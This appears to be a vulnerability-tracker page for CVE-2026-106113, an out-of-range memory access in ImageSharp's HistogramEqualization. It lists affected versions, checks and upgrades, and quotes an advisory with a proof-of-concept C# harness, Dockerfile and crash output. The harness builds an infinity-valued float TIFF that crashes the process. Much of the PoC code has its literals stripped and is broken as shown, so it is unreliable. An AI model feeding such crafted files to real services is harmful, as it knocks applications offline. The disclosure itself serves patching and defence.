Live › vulnerability › CVE-2026-106113
Go to dashboardImageSharp's HistogramEqualization computes a histogram index from pixel luminance without validating it, so a crafted 32-bit float TIFF with infinity samples causes an out-of-range memory access. The reported result is a process crash (AccessViolationException), and the sources do not claim code execution.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-26 14:21 UTC, 0h before NVD. All times on this page are UTC.
Applications that load TIFF images from untrusted sources with ImageSharp and call HistogramEqualization on the decoded image, using the affected versions. The sources describe the crash on the public HistogramEqualization path only; Adaptive Histogram Equalization and AutoLevel are not claimed. Teams that do not decode TIFF input or do not call HistogramEqualization can skip it.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| SixLabors.ImageSharp | nuget | >= 2.0.0, < 3.2.0 | 3.2.0 |
| SixLabors.ImageSharp | nuget | >= 4.0.0, < 4.1.2 | 4.1.2 |
| sixlabors imagesharp | vendor | >= 2.0.0, < 3.2.0 | 3.2.0 |
| sixlabors imagesharp | vendor | >= 4.0.0, < 4.1.2 | 4.1.2 |
dotnet list package in the project and look for SixLabors.ImageSharp at a version in the affected range (>= 2.0.0, < 3.2.0 or >= 4.0.0, < 4.1.2).HistogramEqualization( on images loaded from untrusted TIFF input.Image<HalfVector4> from user-supplied files.SixLabors.ImageSharp to 3.2.0 on the 3.x line or 4.1.2 on the 4.x line.HistogramEqualization() on images from untrusted TIFF uploads.Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
SixLabors.ImageSharp can terminate a process when an application decodes
an attacker-supplied 32-bit floating-point TIFF as Image<HalfVector4> and applies
HistogramEqualization(). An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range
HalfVector4 component, depending on the release. The histogram equalization path derives a luminance-based
histogram index without validating that result, reaching an unsafe out-of-range
access.
This report covers HistogramEqualization only. It does not claim Adaptive
Histogram Equalization or AutoLevel behavior.
SixLabors.ImageSharp (NuGet)>= 2.0.0, <= 4.1.10815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.TIFF decoding first shipped in v2.0.0; v1.0.4 has no TIFF decoder. The unsafe luminance-derived histogram index is present from v2.0.0 through v4.1.1. The positive-infinity TIFF PoC terminates published 2.0.0, 3.1.12, 4.0.0, and 4.1.1 with AccessViolationException, while the finite 0.5 control completes on each tested release.
ColorNumerics.GetBT709Luminance can produce a luminance that does not map to a valid histogram index. GrayscaleLevelsRowOperation.Invoke then uses that result as an unchecked Unsafe.Add offset into the histogram.
The reproduction reaches this code through the public HistogramEqualization() extension. It does not test or claim the Adaptive Histogram Equalization or AutoLevel paths.
The reproduction uses the DLL in the published NuGet 4.1.1 package:
SixLabors.ImageSharp.dll SHA-256:
c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f
Runtime: .NET 8.0.30 (linux-arm64)
SDK: 8.0.424
OS: Debian GNU/Linux 12 (bookworm), Docker
Build the supplied Dockerfile and run the exploit. The harness creates a valid
8x1 uncompressed, 32-bit IEEE floating-point TIFF whose samples are positive infinity,
decodes it through the public API, and invokes HistogramEqualization().
Observed result:
mode=exploit tiffBytes=166 sample=Infinity
decoded=8x1 pixel=<Infinity, Infinity, Infinity, 1>
Fatal error. System.AccessViolationException: Attempted to read or write protected memory.
...
at SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke
...
at SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization
Docker exit status: 133
The control is identical except samples are 0.5:
mode=control tiffBytes=166 sample=0.5
decoded=8x1 pixel=<0.5, 0.5, 0.5, 1>
completed
Docker exit status: 0
When the same exploit binary was invoked through a shell inside the container,
the shell printed Aborted and reported status 134. The direct docker run
result above is the result for the supplied Docker commands.
No active exploitation is known.
Program.cs:
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.PixelFormats;
using SixLabors.ImageSharp.Processing;
static class Program
{
private static void AddEntry(List<byte> ifd, ushort tag, ushort type, uint count, uint value)
{
ifd.AddRange(BitConverter.GetBytes(tag));
ifd.AddRange(BitConverter.GetBytes(type));
ifd.AddRange(BitConverter.GetBytes(count));
ifd.AddRange(BitConverter.GetBytes(value));
}
// Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples.
private static byte[] BuildTiff(float sample)
{
const int width = 8;
const int entries = 10;
const int ifdOffset = 8;
const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4;
List<byte> file = [0x49, 0x49, 0x2A, 0x00, , , , ];
List<> ifd = [];
ifd.AddRange(BitConverter.GetBytes(()entries));
Short = , Long = ;
AddEntry(ifd, , Long, , width);
AddEntry(ifd, , Long, , );
AddEntry(ifd, , Short, , );
AddEntry(ifd, , Short, , );
AddEntry(ifd, , Short, , );
AddEntry(ifd, , Long, , pixelOffset);
AddEntry(ifd, , Short, , );
AddEntry(ifd, , Long, , );
AddEntry(ifd, , Long, , width * );
AddEntry(ifd, , Short, , );
ifd.AddRange([, , , ]);
.AddRange(ifd);
( i = ; i < width; i++)
{
.AddRange(BitConverter.GetBytes(sample));
}
.ToArray();
}
{
mode = .FirstOrDefault() ?? ;
sample = mode == ? : .PositiveInfinity;
[] tiff = BuildTiff(sample);
Console.Error.WriteLine();
Image<HalfVector4> image = Image.Load<HalfVector4>(tiff);
Console.Error.WriteLine();
image.Mutate(x => x.HistogramEqualization());
Console.Error.WriteLine();
}
}
Project file:
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<!-- Directly load the DLL packaged by the published NuGet 4.1.1 release. -->
<ItemGroup>
<Reference Include="SixLabors.ImageSharp">
<HintPath>/root/.nuget/packages/sixlabors.imagesharp/4.1.1/lib/net8.0/SixLabors.ImageSharp.dll</HintPath>
</Reference>
<Reference Include="System.IO.Hashing">
<HintPath>/root/.nuget/packages/system.io.hashing/8.0.0/lib/net8.0/System.IO.Hashing.dll</HintPath>
</Reference>
</ItemGroup>
</Project>
Dockerfile:
FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /work
COPY j3p4.csproj Program.cs ./
RUN printf '%s\n' '<Project Sdk="Microsoft.NET.Sdk"><PropertyGroup><TargetFramework>net8.0</TargetFramework></PropertyGroup><ItemGroup><PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /></ItemGroup></Project>' > fetch.csproj \
&& dotnet restore fetch.csproj --nologo \
&& rm fetch.csproj \
&& dotnet build j3p4.csproj -c Release --nologo -v quiet
ENTRYPOINT ["dotnet", "/work/bin/Release/net8.0/j3p4.dll"]
Run:
docker build -t imagesharp-j3p4-poc .
docker run --rm imagesharp-j3p4-poc exploit
docker run --rm imagesharp-j3p4-poc control
This page as .md · .json · in your agent: get_signal("CVE-2026-106113")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.